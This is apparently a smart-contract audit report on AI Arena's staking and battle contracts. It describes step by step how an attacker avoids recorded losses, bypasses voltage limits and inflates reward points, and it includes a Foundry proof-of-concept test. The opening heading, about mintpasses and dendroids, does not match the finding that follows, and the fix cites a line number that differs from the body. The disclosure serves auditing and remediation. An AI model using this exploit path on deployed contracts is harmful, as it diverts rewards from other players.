AI Arena - JCN's results

Judge has assessed an item in Issue #722 as 3 risk. The relevant finding follows:

Users with mintpasses can ensure that they only mint dendroids, which are more valuable than champions

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L342 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L486

Vulnerability details

Bug Description

Context

When a user stakes, their fighter will become "locked" and they will then be able to earn points from winning ranked battles (making them eligible to claim NRN after the round ends) or they will lose points and/or get some of their stake confiscated when they lose ranked battles. The fighter will only become "unlocked" when the user unstakes all their NRN. The amount of points a user acquires from winning ranked battles, with respect to the total points acquired across all users for that round, will allow the user to claim a percentage of the NRN Distribution (rewards) for that round. I.e. If the user's points represent 10% of the total points for the round, the user will be eligible to claim 10% of the NRN Distribution when the round ends. When a user initiates a battle they will need to spend their voltage (which starts at 100 and each initiation costs 10 units). Once their voltage is depleted they must either wait 1 day for it to automatically replenish or they also have the option of buying a battery (in game item) in order to manually replenish their voltage to initiate more ranked battles.

In addition to claiming rewards, users can also specify a portion of their points (mergingPoints) to be allocated to the MergingPool contract in order to increase their chances of being selected as a winner after the round ends. All winners selected will then be able to mint a fighter via the MergingPool.

Note: The logic for selecting winners is computed off-chain. However, the sponsors have indicated that the winners are intended to be selected based on their allocation of points (similar to rewards). Thus, more points allocated to the MergingPool equates to a higher chance of being selected as a winner.

Pre-conditions for exploit

1. amountStaked[tokenId] > 0 && fighterStaked[tokenId] == false
2. accumulatedPointsPerFighter[tokenId][rounId] > 0

Below I will explain how an attacker is able to achieve the two pre-conditions listed above. Satisfying the first pre-condition will allow the attacker to freely transfer the fighter to different wallets while having stake associated with the fighter. This allows the fighter to bypass the voltage requirement for ranked battles (and therefore initiate as many battles as they wish per round) since they can now simply transfer their fighter to another wallet that has full voltage when their main wallet's voltage gets depleted. Satisfying the second condition will allow an attacker to cause all their lossy updateBattleRecord calls to revert, thereby avoiding all losses for the remainder of the round.

Combined, the two abilities above will ultimately allow an attacker to acquire an unbounded amount of points, which can allow them to grow their points allocation until it represents a majority claim over the nrnDistribution for each subsequent round (effectively diluting other users' potential rewards, while having their allocation represent a majority of the claimable rewards).

Exploit Path

We will keep track of the following state variables:

- roundId = 0 
- amountStaked[tokenId] = 0
- fighterStaked[tokenId] = false
- stakeAtRisk[roundId][tokenId] = 0
- accumulatedPointsPerFighter[tokenId][roundId] = 0 

To start, suppose an attacker stakes a small amount of NRN behind their fighter (using 1e18 NRN as an example) via stakeNRN. This will increment the amountStaked[tokenId] mapping and effectively "lock" the fighter:

RankedBattle::stakeNRN

253:            if (amountStaked[tokenId] == 0) { // @audit: `amountStaked[tokenId]` *before* staking
254:                _fighterFarmInstance.updateFighterStaking(tokenId, true);
255:            }

As shown above, if the amount previously staked for this fighter is 0 then the FighterFarm.updateFighterStaking function is invoked.

FighterFarm::updateFighterStaking

268:    function updateFighterStaking(uint256 tokenId, bool stakingStatus) external {
269:        require(hasStakerRole[msg.sender]);
270:        fighterStaked[tokenId] = stakingStatus;

This function call sets fighterStaked[tokenId] to true. This will prevent the attacker from transferring the fighter out of their wallet when they have staked behind it:

FighterFarm::transferFrom

338:    function transferFrom(
339:        address from, 
340:        address to, 
341:        uint256 tokenId
342:    ) 
343:        public 
344:        override(ERC721, IERC721)
345:    {
346:        require(_ableToTransfer(tokenId, to));

FighterFarm::_ableToTransfer

539:    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
540:        return (
541:          _isApprovedOrOwner(msg.sender, tokenId) &&
542:          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
543:          !fighterStaked[tokenId] // @audit: `fighterStaked[tokenId]` must be false

As we can see from the snippets above, the require statement on line 346 will revert since fighterStaked[tokenId] is now true.

The resulting state:

- roundId = 0 
- amountStaked[tokenId] = 1e18
- fighterStaked[tokenId] = true
- stakeAtRisk[roundId][tokenId] = 0
- accumulatedPointsPerFighter[tokenId][roundId] = 0 

The attacker now purposely loses a ranked battle. This will result in the stakeAtRisk mapping increasing and the amountStaked mapping decreasing. Here is the flow that leads to these state changes:

After the attacker loses the battle, the battle results are pushed on-chain via the updateBattleRecord function.

RankedBattle::updateBattleRecord

341:        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); // @audit: returns `stakeAtRisk[roundId][tokenId]`
342:        if (amountStaked[tokenId] + stakeAtRisk > 0) { // @audit: `amountStaked > 0`
343:            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
344:        }

As we can see above, the _addResultPoints internal function will be invoked since there is currently stake associated with the fighter.

RankedBattle::_addResultPoints

439:        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; // @audit: (10 * 1e18) / 1e4 -> 1e15
...
472:        } else if (battleResult == 2) {
473:            /// If the user lost the match
474:
475:            /// Do not allow users to lose more NRNs than they have in their staking pool
476:            if (curStakeAtRisk > amountStaked[tokenId]) {
477:                curStakeAtRisk = amountStaked[tokenId];
478:            }
479:            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { // @audit: currently accumulatedPointsPerFighter[tokenId][roundId] == 0
480:                /// If the fighter has a positive point balance for this round, deduct points 
481:                points = stakingFactor[tokenId] * eloFactor;
482:                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
483:                    points = accumulatedPointsPerFighter[tokenId][roundId];
484:                }
485:                accumulatedPointsPerFighter[tokenId][roundId] -= points;
486:                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
487:                totalAccumulatedPoints[roundId] -= points;
488:                if (points > 0) {
489:                    emit PointsChanged(tokenId, points, false);
490:                }
491:            } else {
492:                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
493:                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
494:                if (success) {
495:                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); // @audit: updates `stakeAtRisk[roundId][tokenId]`
496:                    amountStaked[tokenId] -= curStakeAtRisk; // @audit: `amountStaked[tokenId] == 1e18 - 1e15`

StakeAtRisk::updateAtRiskRecords

115:    function updateAtRiskRecords(
116:        uint256 nrnToPlaceAtRisk, 
117:        uint256 fighterId, 
118:        address fighterOwner
119:    ) 
120:        external 
121:    {
122:        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
123:        stakeAtRisk[roundId][fighterId] += nrnToPlaceAtRisk; // @audit: `stakeAtRisk[roundId][tokenId] == 1e15`

As shown above, line 439 in RankedBattle.sol will result in curStakeAtRisk == 1e15 (bpsLostPerLoss == 10). The condition on line 479 will evaluate to false, resulting in the second branch executing. Lines 493 - 496 will "confiscate" currStakedAtRisk amount of the attacker's staked NRN, update the stakeAtRisk mapping via the updateAtRiskRecords function, and then finally decrement the amountStaked mapping by currStakeAtRisk.

The resulting state:

- roundId = 0 
- amountStaked[tokenId] = 9.99e17
- fighterStaked[tokenId] = true
- stakeAtRisk[roundId][tokenId] = 1e15
- accumulatedPointsPerFighter[tokenId][roundId] = 0 

The attacker will now unstake all of their remaining NRN (9.99e17) via unstakeNRN and this will result in the fighter becoming "unlocked".

RankedBattle::unstakeNRN

285:            if (amountStaked[tokenId] == 0) { // @audit: amountStaked *after* unstaking
286:                _fighterFarmInstance.updateFighterStaking(tokenId, false); // @audit: sets `fighterStaked[tokenId]` to `false`
287:            }

The resulting state:

- roundId = 0 
- amountStaked[tokenId] = 0
- fighterStaked[tokenId] = false
- stakeAtRisk[roundId][tokenId] = 1e15
- accumulatedPointsPerFighter[tokenId][roundId] = 0 

The attacker will continue to battle with this fighter and since stakeAtRisk > 0, line 342 in updateBattleRecord will evaluate to true and the _addResultPoints internal function will be invoked. At this point, all lossy updateBattleRecord calls will result in a noop since lines 476 - 477 in _addResultPoints will set currStakeAtRisk to 0. This will result in 0 NRN being "confiscated", stakeAtRisk incrementing by 0, and amountStaked being decremented by 0 (i.e. noop). However, a gainy updateBattleRecord call will result in the following lines being invoked:

RankedBattle::_addResultPoints

460:            if (curStakeAtRisk > 0) { // @audit: currStakeAtRisk == (10 * stakeAtRisk) / 10**4 == 1e12
461:                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); // @audit: confiscated `NRN` sent back to RankedBattle
462:                amountStaked[tokenId] += curStakeAtRisk;
463:            }

StakeAtRisk::reclaimNRN

93:    function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
94:        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
95:        require(
96:            stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
97:            "Fighter does not have enough stake at risk"
98:        );
99:
100:        bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
101:        if (success) {
102:            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;

As we can see above, amountStaked is incremented (now > 0). Additionally, stakeAtRisk is decremented and a portion of the "confiscated" NRN is returned to the RankedBattle contract.

The resulting state:

- roundId = 0 
- amountStaked[tokenId] = 1e12 
- fighterStaked[tokenId] = false
- stakeAtRisk[roundId][tokenId] = 9.99e14
- accumulatedPointsPerFighter[tokenId][roundId] = 0 

You will notice that fighterStaked == false, while amountStaked > 0. This is the first pre-condition for this exploit. This allows the attacker to transfer the fighter to different wallets, despite stake being associated with the fighter.

The attacker will now wait until the second round begins. New state:

- roundId = 1
- amountStaked[tokenId] = 1e12 
- fighterStaked[tokenId] = false
- stakeAtRisk[roundId][tokenId] = 0
- accumulatedPointsPerFighter[tokenId][roundId] = 0 

Taking advantage of the fact that the current stake poses little risk, the attacker will now take part in ranked battles until they win at least one battle that accumulates some amount of points. Doing so will fulfill the second pre-condition for this exploit: accumulatedPointsPerFighter[tokenId][roundId] > 0. The following lines will be invoked when the attacker earns points:

RankedBattle::_addResultPoints

443:            /// If the user has no NRNs at risk, then they can earn points
444:            if (stakeAtRisk == 0) {
445:                points = stakingFactor[tokenId] * eloFactor; // @audit points proportional to `stakingFactor`
446:            }
...
465            /// Add points to the fighter for this round
466:            accumulatedPointsPerFighter[tokenId][roundId] += points;
467:            accumulatedPointsPerAddress[fighterOwner][roundId] += points;

Note that on line 445, the amount of points earned is proportional to the stakingFactor[tokenId]. This stakingFactor is updated when the attacker called stakeNRN and is proportional to the square root of amountStaked[tokenId]:

RankedBattle::stakeNRN

258:            stakingFactor[tokenId] = _getStakingFactor(
259:                tokenId, 
260:                _stakeAtRiskInstance.getStakeAtRisk(tokenId)
261:            );

RankedBattle::_getStakingFactor

527:      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
528:          (amountStaked[tokenId] + stakeAtRisk) / 10**18
529:      );

As shown above, the attacker is able to acquire more points if they stake more NRN. As we will soon see, the attacker will be able to avoid all loses and initiate as many ranked battles as they wish. Therefore, it is in the attacker's best interest to increase their stake to a large degree so that they can earn a large amount of points with each win. The attacker intentionally avoided increasing their stake when the second round began (previously 1e12 NRN) in order to satisfy the second pre-condition while incurring little risk. Now the attacker is able to stake their full capital and be certain that they will never lose any stake.

The attacker now stakes additional NRN in order to maximize points earned:

RankedBattle::stakeNRN

253:            if (amountStaked[tokenId] == 0) { // @audit: `amountStaked` currently equals 1e12
254:                _fighterFarmInstance.updateFighterStaking(tokenId, true);
255:            }
256:            amountStaked[tokenId] += amount;

As shown above, the fighterStaked mapping will not get updated when the attacker adds more stake since the amountStaked[tokenId] mapping is > 0. Thus the attacker can continue to add stake for this fighter and still be able to transfer the fighter to different wallets.

Resulting state after the attacker accumulates points and increases their stake:

- roundId = 1
- amountStaked[tokenId] > 0
- fighterStaked[tokenId] = false
- stakeAtRisk[roundId][tokenId] = 0
- accumulatedPointsPerFighter[tokenId][roundId] > 0

The attacker will now continue to battle with this fighter to earn additional points from ranked battles that they win. They are able to prevent all future losses from being recorded (thus preventing points deduction/confiscation of staked NRN) by simply transferring their fighter to a new wallet after each win, and then continuing to battle via that new wallet. This other_attacker_wallet will be another address that the attacker owns, which has not taken part in this game. Thus, accumulatedPointsPerAddress[other_attacker_wallet][roundId] == 0. When the attacker loses a battle via this new wallet the following will occur:

RankedBattle:updateBattleRecord

333:        address fighterOwner = _fighterFarmInstance.ownerOf(tokenId); // audit: `fighterOwner` now equals `other_attacker_wallet`
...
342:        if (amountStaked[tokenId] + stakeAtRisk > 0) {
343:            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
344:        }

RankedBattle::_addResultPoints

479:            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { // @audit: true
480:                /// If the fighter has a positive point balance for this round, deduct points 
...
486:                accumulatedPointsPerAddress[fighterOwner][roundId] -= points; // @audit: `0 - points` -> underflow

As we can see above, the fighterOwner will now be pointing to the other_attacker_wallet. This will result in line 486 reverting due to underflow. Therefore, the attacker can guarantee that all losses with their fighter will revert when they lose a ranked battle with a wallet that has not accumulated any points this round. As soon as that wallet accumulates points (i.e. they win a ranked battle with that wallet), they will transfer the fighter to another wallet to repeat the process.

Note: The points earned will be used to increment the alt wallet's accumulatedPointsPerAddress mapping. Therefore, when the attacker claims their NRN after the round ends, they will need to also call claimNRN from each of the alt wallets that accumulated points for the previous round.

Interestingly, the above action is simultaneously allowing the attacker to bypass the voltage requirement for all ranked battles since each new wallet will have full voltage.

RankedBattle::updateBattleRecord

334:        require(
335:            !initiatorBool ||
336:            _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp || // @audit: fresh wallet so `ownerVoltageReplenishTime[other_attacker_wallet] == 0`
337:            _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
338:        );
...
345:        if (initiatorBool) { // @audit: true -> user initiated battle
346:            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST); // @audit: other_attacker_wallet's voltage is spent
347:        }

VoltageManager::spendVoltage

105:    function spendVoltage(address spender, uint8 voltageSpent) public {
106:        require(spender == msg.sender || allowedVoltageSpenders[msg.sender]);
107:        if (ownerVoltageReplenishTime[spender] <= block.timestamp) { // @audit: true
108:            _replenishVoltage(spender); // @audit: other_attacker_wallet's voltage replenished (set to 100)
109:        }
110:        ownerVoltage[spender] -= voltageSpent; // @audit: other_attacker_wallet's voltage decremented

VoltageManager::_replenishVoltage

117:    function _replenishVoltage(address owner) private {
118:        ownerVoltage[owner] = 100; // @audit: other_attacker_wallet' voltage replenished
119:        ownerVoltageReplenishTime[owner] = uint32(block.timestamp + 1 days);

As we can see above, the require statement on line 334 in updateBattleRecord will pass since the ownerVoltageReplenishTime mapping for the other_attacker_wallet has never been initialized. This will result in the other_attacker_wallet's voltage being replenished (set to 100) and then decremented by the VOLTAGE_COST (10).

The attacker can continue to perform this exploit for all subsequent rounds given that they maintain the first pre-condition by keeping at least 1 wei of NRN staked at all times (i.e. never unstaking all of their NRN) and fulfill the second pre-condition per round by first winning a battle in the round that results in some accumulation of points. Note that an attacker can unstake a majority of their capital before each round ends (leaving a small amount, i.e. 1e18) and fulfill the second pre-condition during the next round with little stake at risk. As mentioned above, they can then re-stake their entire capital in order to maximize the amount of points they can earn with each win, incurring no additional risk.

Impact

The attacker can combine these exploitative abilities (avoiding losses + bypassing voltage requirements for ranked battles) to potentially accrue an unbounded amount of points by initiating as many battles that are necessary to increase their points allocation until it represents a majority claim over the total NRN distribution for the current round. The attacker can then continue to perform these exploits for every subsequent round, potentially claiming a majority of the rewards for all rounds and therefore diluting all other users' potential rewards.

Economic burden for this exploit:

• Gas costs associated with transferring the fighter to a different wallet after each win
• Gas costs of claiming the total accrued rewards via each of the alt wallets (claimNRN_gas_cost * num_wallets_with_points)

Note: The claimNRN function will claim rewards from all rounds that the msg.sender has accumulated points in. Therefore, the attacker can further lessen their economic burden by forgoing claiming the NRN immediately after the round ends, and instead waiting to claim the rewards from their alt wallets at some future time, when their alt wallets accumulate enough rewards to make the claiming process more for economically efficient.

Incentives for this exploit:

• Attacker can potentially claim a majority of the rewards for all subsequent rounds
• Attacker can dilute all other users' rewards for each subsequent round
• Attacker's full capital of NRN can be staked and never put at risk (maximizing the amount of points accrued with each win)
• Attacker avoids waiting the 1 day cooldown period for voltage replenishment and never needs to purchase batteries (can initiate as many ranked battles as they wish)
• Fighter is permanently transferable
• Fighter acquires inflated win record (loses not recorded)
• Attacker can increase their chances of being selected as a winner for every round. (If they perform this exploit with multiple fighters they can potentially increase the chances of multiple wallets they own being selected as winners.)
• Gas costs are relatively low on Arbitrum, lessening the economic burden
• Attacker forces AIArena to waste gas due to reverting lossy updateBattleRecord calls

Additional Impacts:

Note that the bypassing voltage requirement impact can be achieved independently (i.e. players can use up the entire voltage of each alt wallet, incurring both wins and losses). This vulnerability (once widely known) can potentially lead to the battery in game items being rendered useless. Given that the NRN used to pay for these batteries are sent to the treasury address, I am inclined to believe that these sales are meant to be a potential revenue source for the community treasury. However, this vulnerability would jeopardize this revenue source.

Technicalities:

AIArena's off-chain infra may repeatedly send the lossy updateBattleRecord transactions at unknown intervals if they notice that these transactions are reverting. The attacker can continue to force these transactions to revert by maintaining the owner of the fighter as a wallet which has an accumulatedPointsPerAddress equal to 0. In order to progress with the exploit in this case, the attacker is able to backrun the gainy updateBattleRecord transactions (while frontrunning is not currently feasible on Arbitrum, backrunning is possible) with a transaction to send the fighter to a wallet with no accumulated points, thus forcing all backlogged lossy updateBattleRecord calls to continue to revert.

Proof of Concept

Place the following test inside of /test/StakeAtRisk.t.sol and run with forge --mc StakeAtRiskTest --mt testAvoidLossesAndBypassVoltageReq -vvv:

    function testAvoidLossesAndBypassVoltageReq() public {
        address attacker = vm.addr(3);
        address tempPlayer = vm.addr(4);
        address otherPlayer = vm.addr(5);
        address altWallet1 = vm.addr(6);
        address altWallet2 = vm.addr(7);
        uint256 initialStakeAmount = 1 * 10 ** 18;
        uint256 expectedStakeAtRiskAmount = (initialStakeAmount * 100) / 100000;
        uint256 tokenId = 0;

        // attacker gets fighter
        _mintFromMergingPool(attacker);
        assertEq(_fighterFarmContract.ownerOf(tokenId), attacker);

        // attacker gets 10k NRN (large amount of capital invested since attacker has no risk)
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(attacker, 10_000 * 10 ** 18);
        uint256 entireCapital = _neuronContract.balanceOf(attacker);

        // attacker stakes NRN
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(initialStakeAmount, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), initialStakeAmount);

        // --- Attacker intentionally increases stakeAtrisk and sets amountStaked to 0 --- //

        // attacker loses battle
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, false);
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount);

        // attacker unstakes 
        vm.prank(attacker);
        _rankedBattleContract.unstakeNRN(type(uint256).max, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 0);
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // fighter can be transferred freely

        // --- Attacker satisfies pre-condition #1: amountStaked > 0 && fighterStaked == false --- //

        // attacker loses battle, but losses result in noop (`stakeAtRisk` does not change)
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount); // `stakedAtRisk` stays the same

        // attacker wins battle (`stakeAtRisk` decreases and `amountStaked` increases)
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
        assertGt(_rankedBattleContract.amountStaked(tokenId), 0); // amountStaked[tokenId] > 0
        assertLt(_stakeAtRiskContract.stakeAtRisk(0, tokenId), expectedStakeAtRiskAmount); // stakeAtRisk decreased
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // fighter can be transferred freely

        // --- New round begins --- //

        // Note: `totalAccumulatedPoints[roundId]` must be > 0, so we will simulate another player accumulating points for this round
        _otherPlayerAccumulatesPoints(tempPlayer, 1);
        _rankedBattleContract.setNewRound();
        assertEq(_rankedBattleContract.roundId() == 1, true);

        // --- Attacker satisfies pre-condition #2: accumulatedPointsPerFighter > 0 --- //

        // attacker wins battle (accumulates points for this new round)
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);
        assertGt(_rankedBattleContract.amountStaked(tokenId), 0); // amountStaked[tokenId] > 0
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // fighter can be transferred freely
        assertGt(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 1), 0); // accumulatedPointsPerFighter[tokenId][roundId] > 0

        // --- Attacker increases stake by an arbitrary amount (more staked == more claim to `NRN` distribution) --- //

        // attacker adds stake behind fighter for this new round, but `fighterStaked` stays false
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(entireCapital - initialStakeAmount, 0);
        assertGt(_rankedBattleContract.amountStaked(tokenId), entireCapital - initialStakeAmount);
        assertEq(_fighterFarmContract.fighterStaked(tokenId), false); // fighter can still be transferred freely

        // --- Attacker can now guarantee that no losses are recorded for this fighter --- //
        
        // attacker transfers fighter to another wallet they own (Note: new wallet has full voltage)
        vm.prank(attacker);
        _fighterFarmContract.transferFrom(attacker, altWallet1, tokenId);
        assertEq(_fighterFarmContract.ownerOf(tokenId), altWallet1);

        // attacker loses battle
        // call reverts due to underflow
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert(); // comment out line to see error
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
        vm.stopPrank();

        // attacker wins battle
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); 

        // attacker transfers fighter to another wallet to repeat process (Note: new wallet has full voltage)
        vm.prank(altWallet1);
        _fighterFarmContract.transferFrom(altWallet1, altWallet2, tokenId);
        assertEq(_fighterFarmContract.ownerOf(tokenId), altWallet2);

        // --- Simulating attacker diluting other player's rewards and claiming a majority rewards for the round --- //
        // Note: the following is an oversimplified example, solely for demonstration purposes.

        // Other player wins battle (during round they win and lose various battles, gaining and losing points)
        _otherPlayerAccumulatesPoints(otherPlayer, 2);

        // Attacker initiates an arbitrary amount of battles and accumulates an inflated amount of points (no losses recorded, no points deduction)
        for (uint256 i = 7; i < 30; i++) {
            address altWallet = vm.addr(i);

            // attacker loses battle
            // call reverts due to underflow
            vm.startPrank(address(_GAME_SERVER_ADDRESS));
            vm.expectRevert(); // comment out line to see error
            _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
            vm.stopPrank();

            // attacker wins battle
            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true); 

            // attacker transfers fighter to another wallet to repeat process
            vm.prank(altWallet);
            _fighterFarmContract.transferFrom(altWallet, vm.addr(i + 1), tokenId);
            assertEq(_fighterFarmContract.ownerOf(tokenId), vm.addr(i + 1));
        }

        // New round starts
        _rankedBattleContract.setNewRound();
        assertEq(_rankedBattleContract.roundId() == 2, true);

        // Other player claims rewards
        uint256 otherPlayerBalBefore = _neuronContract.balanceOf(otherPlayer);
        vm.prank(otherPlayer);
        _rankedBattleContract.claimNRN();
        uint256 otherPlayerBalAfter = _neuronContract.balanceOf(otherPlayer);

        emit log_named_uint("NRN claimed by otherPlayer", otherPlayerBalAfter - otherPlayerBalBefore);

        // Attacker claims rewards via all alt wallets 
        uint256 attackerBalBefore = _neuronContract.balanceOf(attacker);
        for (uint256 i = 6; i < 30; i++) {
            address altWallet = vm.addr(i);
            
            // attacker claims NRN via alt wallet
            vm.startPrank(altWallet);
            _rankedBattleContract.claimNRN();

            // attacker transfers claimed NRN from altWallet to main wallet
            _neuronContract.transfer(attacker, _neuronContract.balanceOf(altWallet));
            vm.stopPrank();
        }
        uint256 attackerBalAfter = _neuronContract.balanceOf(attacker);

        emit log_named_uint("NRN claimed by attacker", attackerBalAfter - attackerBalBefore);

        emit log_named_uint("other player points", _rankedBattleContract.accumulatedPointsPerFighter(2, 1));
        emit log_named_uint("attacker points", _rankedBattleContract.accumulatedPointsPerFighter(0, 1));
        emit log_named_uint("total points", _rankedBattleContract.totalAccumulatedPoints(1));
    }

    function _otherPlayerAccumulatesPoints(address player, uint256 tokenId) internal {
        uint256 stakeAmount = 3_000 * 10 ** 18;

        // player gets fighter
        _mintFromMergingPool(player);
        assertEq(_fighterFarmContract.ownerOf(tokenId), player);

        // player gets NRN
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        // player stakes NRN
        _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);

        // player battles
        vm.prank(address(_GAME_SERVER_ADDRESS));
        // wins battle
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);
        // totalAccumulatedPoints increased
        assertGt(_rankedBattleContract.totalAccumulatedPoints(_rankedBattleContract.roundId()), 0);
    }

Tools Used

manual

Recommended Mitigation Steps

This exploit path was achieved due to the fact that the _addResultPoints internal function is invoked when amountStaked[tokenId] == 0 && stakeAtRisk > 0. I.e. Battle result updates cause state changes specific to ranked battles despite the player having no current stake associated with their fighter.

I would suggest altering line 285 in RankedBattle.sol so that the invocation of the _addResultPoints function only depends on amountStaked[tokenId]:

285:        if (amountStaked[tokenId] > 0) { // @audit: `stakeAtRisk` is not considered
286:            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
287:        }

Assessed type

Other